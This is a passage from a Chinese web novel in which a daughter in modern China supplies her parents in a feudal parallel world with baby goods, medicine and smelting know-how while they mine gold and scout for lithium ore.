他这话说的真心实意。去年一年,袁淼就给他创下了数千万的销售额,一跃让他成为了公司的销冠,也让他喜提了地区总经理一职。 说句袁淼是他的贵人,毫不为过。 贵人给他带来了钱和权,他鞍前马后伺候那不是应该的吗? 到了六楼妇产科,杨有为直接领着袁淼来到了主任办公室。 “钟主任,这就是我跟您说的袁总。” 办公桌后女医生冲袁淼笑着点头招呼。 杨有为又笑呵呵说:“钟主任是我们市妇产方面的顶尖专家,袁总,您有什么问题,她一定能帮您解决。” 袁淼道了谢,又跟钟主任打招呼。 杨有为见她们说上话后就离开了,还体贴带上了门。 钟主任笑着请袁淼坐下:“我跟杨经理打交道不是一天两天了,袁总想咨询什么,只管说。” 袁淼说了谢云溪的情况。 “哦,产妇年纪有四十多岁了,是有点大,孕期没有出现其他问题吧?” 袁淼摇头。她不知道谢云溪现在的情况,在年龄描述上是归到四十多岁,还是三十多岁。不过这两个年纪段怀孕生产,都不算年轻了。 保险起见,她把谢云溪在这里年纪说了。 “生产的过程很顺利,产程八个多小时,这些指标都是好的,做了侧切,这种情况也很多。现在伤口疼,这属于正常生理反应。伤口的恢复没有那么快。” “不过疼痛剧烈的话,还是要注意,注意观察伤口,是否有感染,如果没有,可以考虑使用止痛药或者物理方法止痛……” 钟主任详细介绍几种止痛的方法。 袁淼记了下来。又说了弟弟袁淮安喝奶的情况。 钟主任笑了:“新生儿刚开始的正常奶量,并不是一个固定数字,这个得根据婴儿的具体来说。一般体重不高的婴儿,奶量不大。” 袁淼连忙说:“他出生的只有五斤两!并且比预产期提前了一个月。” “哦,早产儿!五斤,不算轻了。第一次喝奶只要超过十毫升,就没问题。” 袁淼放心了,又咨询一些事情后,请钟主任开了止痛药。 从医院出来,杨有为一直把袁淼送上了车,车都开走了,他还在笑眯眯挥手。 徐清阳默默看着这一幕,阴沉的脸上,一双喷火的眸子一眨不眨盯着杨有为。 他的助理回来了。 “……他们去了妇产科,不过只有那个女的进去找医生了。” 男的守在外面,他不敢靠近,也不知道里面说了什么。 “……他们离开后,我也去找过那个医生,但是,她什么都不肯说。” 助理想到刚才自己被驱赶的情形,气不打一出来。 又是妇产科!又是婴幼儿用品! 原因只有一个! 徐清阳的脸色极其难看,车里的气氛也像是冻住了。 “去查一查刚才的那个男人!” 助理答应了。徐清阳才让车发动。 袁淼上了车后没多久,就接到了张青云的电话。 “袁总,您刚才是不是去了安贝尔婴幼儿用品店?” “是啊,怎么了?” “刚才徐清阳也在那里,他看到了您的车,一直跟到了医院……” 袁淼吃了一惊。 徐清阳买到东西后,居然没有离开吗? 她默默听张青云说完:“好,我知道了,你们继续盯着他。” 挂了电话,袁淼莫名觉得很不舒服,打开了车窗,这才感觉好受一点。 这天晚上,她将买到东西传给了父母。 袁博文和谢云溪一一清点。谢云溪不禁说道:“你怎么买了这么多东西?” “都是要用的,一点儿都不多。”袁淼理直气壮,“你们看看还差什么?” 谢云溪觉得够了,五罐奶粉足够袁淮安喝一个月了,三提婴幼儿纸尿裤不止能用一个月,其他的东西原本就备了不多。 “我今天还去了医院,找了一位妇产科专家咨询,她说妈妈这种情况不要紧,如果伤口疼痛剧烈,就要观察是否有感染和裂开的情况……” 袁淼把专家的话转达了一遍,又把止痛药传了过去。 “钟主任还说,服用止痛药不能过量!” 谢云溪笑了,她本来就是个医生,这点常识自然知道。而且,她并不觉得自己现在情况有问题,是袁博文太紧张了 ,总是拿她这一次生产和当初生袁淼时的情况比较。 那时候她才二十多岁,现在快五十岁了,怎么可能一样? 将袁淼传过来的东西收拾好后,袁博文也坐到了镜子跟前。 “淼淼,我跟你妈商量了,我们决定在现在住的宅院里和停靠着游轮的码头附近,以及军中的库房周围那边都装上摄像头。” “就是这一款!”袁博文把他们挑选出来的摄像头给袁淼看,“我们算过了,至少五十个摄像头!” “好,我去买!” “你购买之前,最好问清楚,安装这些摄像头对环境有什么要求?” 袁博文担心买过来不能用,那就浪费了。 袁淼答应了。 袁博文又说:“我今天去了矿区那边,这段时间那边又积累不少的矿石。明天我传给你。博云矿业已经提炼出了多少金子?” 袁淼前几天才看过报表:“有一千多斤了。” 袁博文点了点头,谢云溪也吃了一惊。 一千多斤金子!那就是至少五十万克!按照以前的金价,这些金子至少能卖两亿五千万!即便是减掉上面的份额,他们至少也能得一亿多。 开采金矿果然最来钱的! “你有没有跟叶部长说过交割的事情?” 袁淼摇头:“没有。” 她一直在袁博文回来。上亿元的金子交割怎么着也得让父亲知道,这件事情是他一手促成的。 “可以交割了,你跟叶部长他们约个时间。” “好!” 袁博文顿了顿:“你再帮我收集一些有关现代冶铁的技术和信息等!” 袁淼愣了愣。 谢云溪说:“现代冶铁技术?你是不是去过沔州最大的冶炼工坊了?” “嗯,拿下沔州之后,我去那里看看,那个冶炼工坊里面的工人不少,但是技术落后,几乎都是手工在操作,而且打制出来的兵刃远不如淼淼在现代买到了。” 袁博文掌控晋州军后,就把军需仓库的兵器换了不少。以前的那些,放的时间太久了,许多都生锈了,别说砍人,杀一只鸡都费劲。 不过,这些东西在这里都不便宜,一个普通的枪/头都得好几两银子,稍微好一些的大刀都能卖到几百两银子了。 当初商远师徒染疫的时候,商泽就把自己心爱的刀拿到当铺换了一百多两银子。 后来赎回来了,但是没过多久,袁博文就把唐横刀给了他,他便再也没用过跟随了自己近十年的大刀。 这些常规的兵器在这里很贵,但是在现代并不贵,一杆长/枪,袁淼买到手也就二百多元钱,一把大刀千元出头。不仅如此,现代的这些兵器比这里本土出品的锋利多了。 由此可见,两个世界的冶铁技术也有非常大的差距。 他们现在是在北凉和大顺的夹缝中求存,经年累月的战争少不了,需要的兵器绝对不是一个小数。肯定不能一直靠买。 既然有丰富的铁矿资源,也有不少冶炼工人,那就提升和改进技术。 谢云溪听到袁博文提到了冶铁,就知道他的想法。 她对袁淼说:“你爸他们刚拿下的沔州矿产资源丰富,尤其铁矿产,北地这里近半的冶铁都出自那里。” 袁淼明白了。父亲是想改进和提升冶铁技术。她当然没问题,这个必须得支持。 “沔州那边的冶炼工坊大吗?爸,铁,是不是要掌在自己手中?” 袁淼以前对政治不感兴趣,但自从父母那边开始打仗后,她就开始了解这些了。 封建社会的兵器几乎都是铁制,很多王朝为了避免被颠覆,对铁的管控非常严格。 她就记得华国古代律法中就有一项盐铁官营制度。 袁博文笑着点头,他着急拿下沔州,就是想把北地的铁掌握在手中,这样的话至少北地这里较大规模的军事武装力量都得看他的脸色。 大顺和北凉想要找他的麻烦,首先就得带够打仗的家伙。 “好,我明天就去找人问问。”袁淼一口答应了。 “弟弟睡了吗?” 谢云溪转头看了看,笑着说:“还在睡!” 袁淼又拿出了手机:“再给他拍个照,让我看看。” 谢云溪接到手机后,让袁博文给袁淮安拍了张照片,传给了袁淼。 袁淼心满意足了。 断开了联系后,谢云溪问:“你想改进这里的冶炼技术,只怕不是一件容易的事情,你现在有时间吗?” “没有时间,也要做啊。把冶炼技术提升上来了,以后就不用什么都靠淼淼买了。常规兵器等虽然不贵,但是量大了,也要不少钱。” 谢云溪默默点头。 “商州那边有不少玉石矿吧?” 袁博文笑了。他和谢云溪想到一起了。 打仗打的就是钱,一场战争打下来,钱跟流水一样在用。 只沔州这一场争夺战打下来,吴锦丰统计出来的开支就接近百万两银子。这还是在没有动用现代化军械的情况。 现代化军械,那就更贵了。 虽然他们手上现在是不缺钱,郴州府衙靠卖地卖房税收等,也有结余。但是贺州的情况可没有郴州那么好,沔州更是一个乱摊子。这两座城池想要重建起来需要不少钱。 金矿开采出来的金子是能换不少钱,但光靠这个不行,这个在这边也是货币一种。 不过,玉石就不一样了。这边的玉不值钱。 他们名下晋州和郴州两家当铺收到最多就是珠宝玉石等,几乎是白菜价收到手。传到袁淼那边,翻十倍都有人抢着要。 一样的东西,在盛世是美玉,会有无数人追捧喜爱,但在乱世却是一块毫无用处的石头。 “是啊,我已经让人去打听了。等拿下商州之后,我准备把那里的几座主要的玉石矿控制起来,收归到军中,到时候可以把开采的玉石传给淼淼。” “这些东西在现代值钱!价值不亚于金子。” 谢云溪愣了愣:“强行收归吗?这样做会不会激起一些民愤?” 袁博文笑了:“你没有去过商州,不知道那里有多乱!现在,在那里完全是拳头说话!谁的拳头大,谁就能得到最好的玉石矿!” “你还记得何有为吗?” 谢云溪点头。她当然记得何有为,这才过去的事情。 “何家在那里就有一座玉石矿!不过,现在被人占了。他家的那座玉石矿也是抢的!就是咱们隔壁沈家小丫头家里的矿。” 沈家的金镶玉银楼在郴州原本就是仅次祥和银楼的存在,沈家有金矿和玉石矿的事情不是秘密。 想到了沈悦兰,谢云溪心里就有点难受了。 这几天,袁博文和念荟都拦着她不让出门,她虽然知道沈悦兰就在隔壁院子住着,但一直没有过去看。 不过,念荟把沈悦兰的情况告诉了她。 小丫头依旧沉默寡言,让她干什么她就干什么。看起来很乖,却是一副心已经死了的样子。 她的伤也恢复得很慢,都已经好几天了,受伤的胳膊还是动弹不了。 “何有为和北凉人勾结,把他们在城外的金矿送给北凉人,北凉人帮他扳倒了沈家,沈家的金矿和玉石矿就都落到何有为手上。” 谢云溪叹了口气:“我明天想去看看沈悦兰。” “都已经有三天了,不要紧的!我又不走远,就去一趟隔壁!” “再说呢,小丫头这次帮了我们大忙,要不是她,淮安说不定就被抢走了!她因为这事受了伤,咱们应该感激!连看都不去看,让其他人怎么想?” 袁博文犹豫了好一会儿才点头同意。 第二天,袁博文又把念荟叫过来,详细交待了一番,才出门。 念荟本来就不放心,袁博文这么一说,她越发忐忑了。 “夫人,沈小姐那边一切都好,我们并没有瞒着您。您还是不要出门吧!” 谢云溪笑着说:“我过去看看就回来!” 念荟拗不过谢云溪,只得听从了。几个丫头一起把谢云溪严严实实裹好后,才让她出门。 谢云溪走到门口了,又回过头:“把淮哥儿也抱上。他是沈小姐救下来的,理应过去感谢。” 念荟也不想听,但抵不住谢云溪的目光,还是把袁淮安严严实实裹好后,抱了出来。 谢云溪来到隔壁院子里。沈悦兰见了她便要下床。谢云溪连忙拦住了:“你别动!不用下来了。” 沈悦兰听了,垂着眉眼,倚靠在床上。一张小脸素白,如画的五官一点生气都没有。 谢云溪问:“我看看你的伤。” 沈悦兰马上要褪衣裳,胡冬梅连忙过去帮忙。 谢云溪仔细看了看,掌印的颜色已经由青紫变成了杂色,在一片雪白的肌肤中尤显得可怖。 谢云溪上手轻轻捏了捏:“疼吗?” 沈悦兰摇头。 谢云溪又捏了捏其他地方,见沈悦兰还是摇头,便知道这丫头没有说实话。大概这种疼在她看来不值一提。 她又问胡冬梅:“沈小姐夜里睡得可好?” 胡冬梅看了沈悦兰一眼,摇头。 还是疼!小丫头不想说而已。但是夜里却疼得睡不着觉。 “今日郎中来过了吗?用的什么药?” 胡冬梅连忙把药膏和处方拿过来。谢云溪看了看。她虽然不懂中医,但也知道常见的几种中药材作用是什么。 郎中的方子中规中矩,用的都是活血化瘀扶正祛邪的药材。外用的药膏黑乎乎一团,她看不出是什么炼制的。 看了这些,谢云溪想到了现代的中医,有几种治疗跌打损伤的疗效不错。 谢云溪把药膏和方子还给了胡冬梅,又询问沈悦兰的饮食,得知她虽然吃的不多,但并不抗拒进食,心里好受了一些。 只有肯配合,小丫头的伤一定会治好。 她让念荟把儿子袁淮安抱了过来:“沈小姐,那天多亏了你,要不是你,他现在还不知道在哪里呢!” 沈悦兰转过头了,袁淮安没有睡,一双乌溜溜的眼睛也不知道看到什么,突然笑了笑,一边脸颊上多了一个小小梨涡。 第138章 第138章 矿产 念荟惊喜说道:“少爷会笑了呢!” 其他丫头们也都凑了过来。 贺天凤像是发现了宝藏:“少爷脸上还有个梨涡呢。” 谢云溪微笑看着。新生儿出生就会笑, 这几个丫头年纪不大,大概见的也不多,看到婴儿笑都觉得稀奇。 她眼光一瞟, 看到沈悦兰也正目不转睛看着袁淮安, 素来寡淡的脸上竟然出现了一抹淡淡的笑。 谢云溪心里一动, 等到身边的丫头们兴致淡了些, 她便笑着说:“他这是看到救命恩人,高兴呢。”一边轻轻碰了碰袁淮安的小脸, “是不是啊?沈姑姑救了你,你长大了,可得要对沈姑姑好。” 她原本想说姐姐,但话到嘴边, 又改了成了姑姑。 虽然沈悦兰的年纪比袁淼要小,袁淮安称呼沈悦兰一声姐姐并不为过, 但她就觉得不好。她有一个女儿,任何人都无法比拟。 沈悦兰的眼圈一下子红了,连忙转过了头去。 袁淮安打了一个哈欠,念荟等人更觉得稀奇了, 七嘴八舌说话。沈悦兰忍不住又转过头来看。 哈欠打完了,袁淮安的眼睛便有些撑不住了,将睡未睡。 念荟打了个手势,低声说:“少爷要睡觉了!都小声点。” 丫头们不吭声了,袁淮安又给了个笑脸后, 沉沉睡了过去。 念荟把包裹裹好了。谢云溪知道自己要回去了, 便对沈悦兰:“你要早点好起来,我这儿正差人,念荟她们都忙, 淮安身边离不得人,这里也不宜久住,等满了月,我们就要搬回去了。” 沈悦兰垂着头,低低应了一声是。谢云溪等人离开后,她的眼泪就出来了。 胡冬梅返回时,看到沈悦兰泪流满面,她吓了一跳。 “你怎么了?是不是哪里不舒服?” 沈悦兰没有回答,只默默落泪。 胡冬梅慌了,以为沈悦兰的伤加重了,连忙上手要看,沈悦兰避开了。 胡冬梅柔声说:“我看看!你别怕,即便是加重了,夫人也有办法治好!” 沈悦兰依旧没有吭声。胡冬梅没办法了。这事不能强来。她语重心长说:“我知道你心里不好受,但是那些已经过去了,我们要往前看,不能总想着过去。” “袁大人和夫人都是极好的人,你我都知道,我们能遇到他们,是我们福气。这一关没过来的人不知道有多少。” 沈悦兰虽然没说话,但停止了哭,抽噎着。 胡冬梅暗叹了口气。她是大户人家的丫头,但原来的主家跟金镶玉沈家差了不止一个级别。谁能想到,她这当丫鬟有一天竟然能跟千娇百宠的沈家大小姐住一间屋了。 置身处地,若换了她是沈家大小姐,心里也一定不好过,能不能想通也说不好。 这天,袁淼接到了袁博文传过来的矿石后,就给叶家振打了个电话。电话那头的叶家振很高兴,一连声说了几个好。 “……我明天就让人过去!小袁,你先给我透个底,这次有多少?” 虽然矿产资源管理部安排的兴达矿厂在每次接收到矿石后,都会往上面备报。 他们也知道了这批矿石的含金量高达每吨15—20克,但是具体的提炼等环节,他们并没有参与其中,充分尊重博云矿业的运作。 不过,他们早就通过一些数据猜测出大概能提炼出多少黄金,也早就在等袁淼的电话了。 袁淼报了个整数:“有一千二百斤。” 叶家振立刻笑了。一千二百斤黄金!这比他们预测的数据还要高,看来先前测量的含金量偏低了。 当然,这种只取几块样品测量含金量的方式本来就不一定准,有误差很正常。 已经提炼出来了一千二百斤黄金,这表示这批矿石真正的含金量至少在每吨20克以上。 妥妥的大富矿! “好!明天我们大概上午十点到!” 原本叶家振这次不打算过去,现在听了袁淼报的数据,他决定一会儿就让秘书去买机票。 袁淼立刻表示了欢迎。 叶家振心情很好,黄金可是国/家重要战/略储备物资,偏国内的黄金矿产资源并不丰富。为了弥补这一短板,上面鼓励私人或企业开辟外部市场,但随着国际形势变化,其他国家也在收拢本国的金矿开采,对参与金矿开采提炼的非本国的企业或个人有诸多限制。 如果能和袁博文建立长期且稳定的金矿开采协议,无疑会改变目前国内黄金矿产资源短缺的问题。 那可是一整个异世界! 叶家振关心问:“小袁,你爸妈最近怎么样?” “挺好的,谢谢叶部长关心!” 叶家振呵呵笑了笑:“上次传过去的那些设备都没什么问题吧?有问题要跟我们反馈啊,我们也好改进。” 袁淼对金矿开采的事情并不清楚,她只在其中起了传送和接收的作用。 袁博文在接收到现代的采矿设备后,也并没有跟她说过这些设备的运作情况。 当然,说了她也不懂。 不过她还是附和叶家振的话,应了一声好的。转念又想到昨天晚上袁博文的交待,犹豫了一会。 “叶部长,你跟湖钢集团的领导熟悉吗?” 叶家振愣了愣。湖钢集团,他当然熟悉,这是一家中等规模的钢铁冶炼工厂,也归属矿产资源部管理。 “怎么啦?湖钢集体的沙总是我的同学。” “呃……叶部长,我……想参观一下湖钢集团的钢铁冶炼技术……不知道行不行……” 话一出口,袁淼就露出了尴尬的笑,她觉得自己的这个要求过线了。 但是昨天晚上她在网上搜索有关钢铁冶炼信息时,越看越糊涂。这一块对于她来说,跟天书一样。她觉得自己到现场去看一看后,可能会好一些。 湖钢集团离魔都不远,便被她盯上了。 可湖钢集团的钢铁冶炼工艺如果是不外传的技术,那她的这个请求就有些过分了。 “可以啊,我跟沙总说。不过,小袁,你为什么突然对这个感兴趣了?” 袁淼听到叶家振的回答,嘴角都压不住了。自家的情况,叶家振等人原本就知道。袁淼如实说了。 “我爸他们现在所在的城市矿产资源丰富……” 叶家振听到这里大气都不敢喘了。 矿产资源丰富?好! “有大顺最大的冶炼工坊。前不久,他进去看了,那家工坊规模虽然不小,但技术落后,跟现代完全不能比,他便想改进和提升一下他们那边的冶炼工艺。” “但我对这些知道的非常少,所以,就想参观和学习一下……” 叶家振懂了。 现代钢铁冶炼技术含量很高,但那是指高端特种钢铁冶炼,比如大型天然气管道钢管和重载铁轨钢材等等。 袁博文夫妇所在的世界用不着这些,普通的钢铁冶炼工艺对于他们来说已经够用,算是很先进了。这些的技术含量不高,网上到处都是。 袁淼大概也在网上搜索过,她看不懂是因为她以前从未涉足。 隔行如隔山。 “没问题!我跟沙总说一声,让他来安排。” 叶家振一口就答应了。 “小袁,你刚才说,你爸他们所在的城市矿产资源丰富……你知道都有哪些矿产吗?” 袁淼愣了愣,这个问题袁博文并没有告诉她,只说过沔州的铁矿资源丰富,整个北地大半的铁几乎都出自沔州。 “这个我也不清楚,他们只说过那边铁矿资源丰富,其他的并没有提及。” 叶家振依旧按耐不住激动。铁矿资源虽然不是我国的短板,但是我国的铁矿石质量不高,存在着贫矿多,富矿少的特点,开采和提炼的难度很大。 随着科技的发展,我们又对铁矿石的需求日益增长。 “哦,这样啊,那你知道你爸妈那边的铁矿石特点吗?” 袁淼又愣了愣,“……不知道。” 叶家振有一点点遗憾。不过,袁博文所在大顺王朝跟唐宋时期差不多,唐宋时期的矿石勘察和开采技术可不高,能被发现的铁矿石几乎不大可能是贫矿。 贫矿的开采分离提炼难度可不是过去的技术能做到的。 想了想,叶家振说:“小袁,我今天跟你打听这些,是有些冒昧了。你不要放在心上。我是为我们国/家现在的矿产资源情况担忧啊。” “实不相瞒,我们国家的矿产资源存在着很多短板,紧缺的矿产资源高达九种!尤其现在科技快速发展,对锂、石墨等需要量很大……” 袁淼默默听着,这些她昨天晚上在搜索冶炼技术的时候就看到了,但听叶家振说出,感觉就不一样了。 “你爸妈那边的发展情况跟我们这边不一样,有一些矿产对于他们来说,用处不大,但在我们这边却是紧缺的。如果你爸妈发现这类的矿产,我们可以合作。” “同样的,你爸妈需要的东西,也可以跟我们反映,我们一起努力解决……” 袁淼听完,心里触动不已:“谢谢叶部长,我会跟我爸妈说,他们那边的许多情况,我并不清楚。” 所以,即便是感动,她也不能承诺,不能给了希望,又叫人失望。 叶家振笑呵呵说:“我明白!” 只要袁淼能把他的意思转达给袁博文,这件事情就有希望。 通完话后,袁淼久久不能平静。到了跟父母见面的时候,她便说了这件事情。 袁博文和谢云溪也沉默了。虽然他们离开现代世界已经很多年,但是故土难离,希望自己的国家越来越好的心态一直没变。 好一会儿,袁博文才回应:“我知道了。” 他对北地的矿产资源情况其实也不清楚,之所以知道沔州铁矿资源丰富,是因为这是既定的事情,这里的矿产开采技术和冶炼技术虽然落后,但是有一些人却能通过山川地形等得出地下是否有铁、铜、金银等常见矿石。 “叶部长他们如果再提起这些事情,你也先别答应,我先了解一下情况之后再说。” 袁淼答应了,又把自己在网上搜索的冶铁信息等传给了袁博文。 “今天我跟叶部长提出请他帮忙让我去一家钢铁冶炼工厂参观学习,他二话没说就答应了。” 所以,后来袁淼含糊其辞时,心里很愧疚。 谢云溪看向袁博文。袁博文顿了顿,他也有些愧意,陈博川和叶家振等人的帮助他记在心里,但是这件事情他确实无法立刻给予答复。 沔州的铁矿资源虽然丰富,但是具体储量有多少,他并不清楚,而且,铁矿石也是他目前不能少的。 “淼淼,你去了解一下,那几种紧缺矿石有什么特点?一般在哪里出现?” 袁淼立马答应了。袁博文不说,她都打算这么做了。 事情说完后,袁淼又把手机传了过去,让父母给袁淮安拍一张照片。 谢云溪拍好照片,将手机传了过去。 袁淼津津有味看着,这次很难得,袁淮安居然没有睡觉,睁着一双黑葡萄似的眼睛,小嘴撅着,也不知道在看什么。 谢云溪想到了隔壁院子的沈悦兰:“淼淼,现在医院和药房还有精制跌打膏和白药喷剂卖吗?这两种都是治疗跌打损伤的。” “有啊!谁要用?”袁淼问着,就看向了袁博文。 袁博文笑了:“不是我需要。” 袁淼一脸疑惑。又看向了谢云溪。 谢云溪笑着说:“是我身边的一个丫头。这次幸亏她,你弟弟才没有被人抢走。” 袁淼吃了一惊。谢云溪这才意识到自己说漏了嘴。顶着袁淼的目光,她只好把实情说了。 袁淼听完,脸色都变了,连忙作揖谢天谢地,又皱着眉头说:“爸妈,你们以后有事,不要瞒着我了。越这样,我越担心。” 袁博文和谢云溪连忙陪不是。 袁淼心里的火消了一些,对那天跟在谢云溪身边的几个丫头好感直线上升。 “我明天就去买药……她叫什么?” “沈悦兰。” 袁淼记住了。 跟袁淼说完话后,袁博文问谢云溪:“隔壁的小丫头,情况不太好吗?” 谢云溪说:“不是。是我看郎中开的方子,都是些治疗跌打损伤的,就想到跌打膏和白药。” 袁博文点了点头。这两种中药在现代算是家喻户晓,疗效不错。 “我今天还让淮安认了她做姑姑。这个小丫头一副心死的样子,对什么都不感兴趣,唯独对淮安有点不同。” 袁博文顿了顿,一会儿后说:“在没有被北凉人找到前,她和哥哥嫂嫂都躲在麻雀巷,还有一个小侄子,听说只有两三个月大。北凉人找到他们后,她哥被打死了,那只有两三个月的小侄子也被摔死了。” 谢云溪愣住了。 第139章 第140章 石头 谢云溪愣住了。想到了胡冬梅刚才过来说的话。她们离开后, 沈悦兰又哭了。原来原因在这里。 她叹了口气:“这小丫头看到淮安,想到了她的小侄子。” 袁博文默默点头。 “以后让淮安跟她多相处吧,也许她会慢慢走出来。” 谢云溪的想法跟袁博文一样。不管是移情, 还是其他, 她都希望这几个丫头能好好活下去。 “矿产的事情, 你怎么想?” 袁博文也很纠结。叶家振既然提出来了, 他就不能当做什么都不知道。 “城外的矿区里面有一个人很厉害,他叫胡耀生, 是以前给何家找矿的,他会通过山川地形等看出地下的情况。这个人去过很多地方。何家那座矿山就是他找到的……我明天去问问他。” 专业的事情,自然要找专业的人。现代的专家可以借助设备等勘察出地下矿产的情况,胡耀生能够仅凭一双眼睛就能看出这些, 足见其能耐。 第二天,袁博文又来到了矿区, 找到了胡耀生。这位正在和商泽拉扯,要到矿洞里去看看,商泽不同意。 矿洞里许多东西非同小可,大人交待过, 闲杂人等一律不能靠近。 袁博文高喊了一声。居所院子门口的拉扯停了下来。商泽连忙过来了,低声说:“大人!胡先生要跟着下矿的工人到矿洞里去!” 这事已经闹了几天,要不是大人交待过,不得怠慢了,他一定会把这个家伙打一顿。好话不听, 尽在胡搅蛮缠。 袁博文微微点头, 表示知道了。 他留下胡耀生,就是觉得这个人厉害,仅凭一双眼睛, 居然找到这么一座大金山。 人才难得,不能轻易放过了,如果采矿中遇到了问题,刚好可以咨询。没想到,真正的大用处在今天。 他远远就冲胡耀生招呼上了,过来后,和煦询问:“胡先生要下矿洞吗?” 胡耀生看到了袁博文,也立刻绽放了笑容,作揖:“袁大人!” 他是听了同院子工人的话,才知道如今采矿的速度大幅提高,短短两个多月时间竟然达到往年约一整年的采矿量。工人描述矿洞的场景,又与他熟知的大相庭径。他实在好奇,便想亲眼去看一看。 “我听说如今的采矿很快,每日能有百余担,这样速度不知道会不会影响到支撑?所以便想下去看看!” 袁博文笑了笑:“胡先生放心,我昨日已经看过了,矿洞里很安全,不会出事。” 开始铺设工程的时候,叶部长就传了两台地质勘察探测器过来,可以把一定范围内的地质情况清楚显影出来,有了这些设备,矿洞的安全系数得到了一定保障,比先前在何家手上时不知道好多了。 “这可说不好,地下矿脉结构复杂难测,肉眼所见不一定靠谱。有时候看着坚韧不催,但下一刻就出事的情况也是有的。” 袁博文顿了顿:“胡先生见多识广,应该去过很多地方吧?” 胡耀生自得点头。 袁博文又问:“那胡师傅一定见过许多稀奇的矿石吧?不知道有没有见过一种灰白色,较硬的矿石?这种矿石表面有些油腻感……” 袁博文根据自己的印象说了锂矿石的特点。 胡耀生顿了顿,点头:“大人说的这种矿石,我还真见过!大人稍候!” 袁博文愣住了。 他才开了一个头,胡耀生这就接上了? 看来这人不是一般二般的喜欢这个!说到了这个,他连下矿洞的事情都忘记了。 袁博文好奇,跟了过去。 进了屋里的胡耀生费力提出了一个麻袋。袁博文立刻给商泽一个眼色。商泽过去帮忙,两人一起将麻袋提了出来。 胡耀生在里面翻找了一会,拿出了一块灰白色的矿石。 “大人看看,是不是这种?” 袁博文接过,作势看了看。他其实没见过锂矿石,刚才的描述是书本上的,而且时间有些久了,他记得也不清楚。 “有些像!”袁博文边看边点头,“胡师傅这块矿石能不能让我拿回去看看?” 胡耀生一脸疑惑。袁博文连忙又说:“我看过后,一定归还!” 胡耀生摆手:“袁大人误会了,我只是想知道袁大人要这种矿石做什么?它有什么作用?” 关于锂矿石的作用,昨天晚上袁淼就说过了。现代科技发展,对锂矿石的需求激增。锂被用在电池、原子能、军事等各个领域。是现代科技发展不可或许的重要资源。 而这边连工业化都没有开始,距离科技萌芽还不知道有多少年,这种矿石现阶段在这里用处不大。 不过,这些可不能跟这里的人说。 袁博文摇头,一副高深莫测的样子:“我现在还不确定,等明确了,一定会如实告之。” 他说完,又看向胡耀生费力提出来的麻袋:“那些都是胡先生游历各地,收集到的宝贝吧?” 胡耀生笑了笑:“让大人看笑话了!” “哎,我绝无笑话先生的意思,先生一心钻研这些,令我佩服!不知道那些,我能不能看看?” 胡耀生立马过去了,商泽这次没有让他动手,自己一个人提了过来。 胡耀生看着,他不喜读书功名,就喜欢游历各地,后来又从山川地形等中看出了一些端详,便被何家请了过来探矿,一直在这里呆到了现在。 但是他的这种喜好许多人都不理解,何家请他,也只是为了找金矿。今天跟袁博文说了这么些话,他一时竟有了知己的感觉。 麻袋提过来了,袁博文打开来看了看,里面的石头不少,各种各样的都有。他拿出了一块仔细看。 胡耀生坐在旁边:“这块是我在盐湖那边捡到的,大约是在湖里侵润久了,这石头也是咸的……” 袁博文悄悄咽了咽口水。 连石头的味道都知道了!这是舔过吗? 果然是个痴人! “这一块是我在西川一个火山口发现的,那里这样的矿石还有许多,这里面除了还块石头,还有两块也是在那里捡到的,不过跟这块不一样……” 胡耀生说着,翻出了两块石头,递给了袁博文。 袁博文颠来倒去看了好一会儿,也没看出哪块是珍稀矿产,他对这些知道的非常少,即便是有胡耀生在一旁介绍,他也拿不准这些到底有没有用。 袁博文停了下来:“胡先生,这些能不能也让我带回去看看?我保证看完后,一定如数奉还!” 胡耀生犹豫了片刻,点头了。 袁博文心里大喜,给了个眼色,让商泽把麻袋提到了一边。 “胡先生不是想到矿洞里面去看看吗?” 胡耀生这才想起自己刚才的目的,眼睛亮了,连忙点头。 “去看可以,但是胡先生不能把里面的事情告诉他人,若胡先生答应了,我这就带胡先生下去。” 人家给了这么多东西,不管有没有用,他也得给点回馈。关系打好了,以后请他帮忙找矿产资源,也好开口。 胡耀生作揖后,郑重说:“袁大人放心,这里的一切,在下都不会对外说起。” 不管是哪家的金矿,原本就是严禁外人进出的,这是众所周知的规矩。 袁博文也没有将胡耀生的口头承诺当一回事。保守秘密这件事情,只有死人才能做到。当然,他并不是要取胡耀生的性命,而是断定他离开这里后,不一定有胆子吐露他的秘密。 绝对的实力有时候会比口头承诺更管用。 说好后,袁博文就领着胡耀生来到了矿洞口。商泽递了一个头盔过来。 胡耀生愣了愣才接,戴上头盔上后,他摸了又摸:“大人,这护具是什么东西做的?” 袁博文也不知道,笑了笑:“自然是好东西!” 胡耀生明白了。袁大人不想说。 既然如此,这话自然不能追问下去。 缆车来了,胡耀生吓了一跳。 袁博文进去后,转过身看了看他。 胡耀生这才明白,这是可以搭乘人的东西。 他的眼睛亮了。 但缆车动了的时候,他仍然吓了一跳,连忙抓住两边,一双眼睛瞪得老大。 从缆车里面出来,看到矿洞里面的场景时,他更觉得眼睛都不够用了。 袁博文看到了胡耀生的表现,一笑了之,这里矿工们第一次下来时,几乎都跟胡耀生一样,更有甚者,腿都站不稳的大有人在。 不过几次后,他们就适应了。 在员工培训的时候,他就跟这些矿工们定下数十条规章制度。 保密就是其中一条。 这些矿工几乎都是晋州过来的人,他们虽然是第一次见到这些,但都严格遵守着规矩。等拿到了第一次薪资,这些人死心塌地了。 领着胡耀生在矿洞里转了一圈后,袁博文就离开了。他还有事,便让谷雨把麻袋送到城外的庄子里。 谷雨让人抬进来的时候,在院子门口看到了正守在这里的黎大山。 黎大山好奇问:“这是什么?” 谷雨笑着说:“这是大人让我们送过来的。” 黎大山连忙把刀收了,将一个抬着麻袋的护卫挤到了一边:“我来我来!”他一上手,便叫了一声:“这么重!” 谷雨笑着没接话。 都是石头,怎么可能不重? 谷雨在院子门口就叫开了:“念荟姐姐!” 念荟闻声出来:“这是什么?” “这是老爷让我送回来的,他还说这东西不要抬进屋里。” 念荟不再问了,看了一圈,指着屋檐下一个角落:“就放在那里吧!” 黎大山放下了麻袋,并没有马上就离开,而且悄悄看向正在晾晒衣物的叶淑婉。念荟和谷雨正说着话,他壮胆过去,低声说道:“姑娘还记得我吗?” 叶淑婉吓了一跳,转过身,愣住了。 她听念荟说过,眼前这人是神器营的副将。姓黎。但她不记得他们什么时候打过交道。 黎大山的脸涨得通红,低着头:“保卫郴州的时候,姑娘救下了一个炸膛的士兵,那个人就是我……” 叶淑婉想起来了。 那还是她第一次动手。抬进去的士兵满身是血,脖子上有一处正往外不断冒血,情急之下,她便用手按住了。 